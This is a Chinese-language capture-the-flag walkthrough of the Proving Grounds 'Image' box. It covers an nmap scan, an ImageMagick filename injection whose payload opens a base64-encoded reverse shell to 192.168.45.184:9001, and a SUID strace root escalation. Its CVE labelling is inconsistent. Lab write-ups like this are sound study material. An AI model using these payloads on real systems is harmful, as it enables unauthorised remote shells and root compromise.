信息收集:
root@iZt4nbifrvtk7cy11744y4Z:~# nmap -p- -Pn -A -sS -T4 192.168.216.178
Starting Nmap 7.80 ( https://nmap.org ) at 2025-02-23 14:25 CST
Nmap scan report for 192.168.216.178
Host is up (0.0032s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: ImageMagick Identifier
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=2/23%OT=22%CT=1%CU=40853%PV=Y%DS=4%DC=T%G=Y%TM=67BABF7
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54EST11NW7%O5=M54EST1
OS:1NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%
OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT ADDRESS
1 2.66 ms 192.168.45.1
2 2.68 ms 192.168.45.254
3 2.88 ms 192.168.251.1
4 3.15 ms 192.168.216.178
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.23 seconds
开放了80的http服务,访问,尝试直接上传了.php文件不行,.png文件是可以的
通过该页面确定版本ImageMagick 6.9.6-4
,检索漏洞
试了很多exp即麻烦还没打通,查看hints发现可以百度搜索6.9.6-4版本问题,发现一个issue:https://github.com/ImageMagick/ImageMagick/issues/6339
正确的编号为:CVE-2023-34152(感觉很多时候都是没找对漏洞,掉进了兔子洞
CVE-2016-5118 显示,打开任何文件名以 '|' 字符开头的图像文件,ImageMagick 将调用
popen
处理文件名的其余部分。触发:给定一个正常的图像文件,即 swap.jpg,以下操作会触发该漏洞:
cp swap.jpg '|smile"`echo <base64_bash_reverse_shell> | base64 -d | bash`".jpg'
随便找个图片swap.jpg,执行下面命令
cp swap.jpg '|smile"`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC40NS4xODQvOTAwMSAwPiYx | base64 -d | bash`".jpg'
成功拿到shell
拿到local
查看SUID,发现strace命令
strace -o /dev/null /bin/sh -p
拿到proof
原文始发于微信公众号(EuSRC安全实验室):PG_Image
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论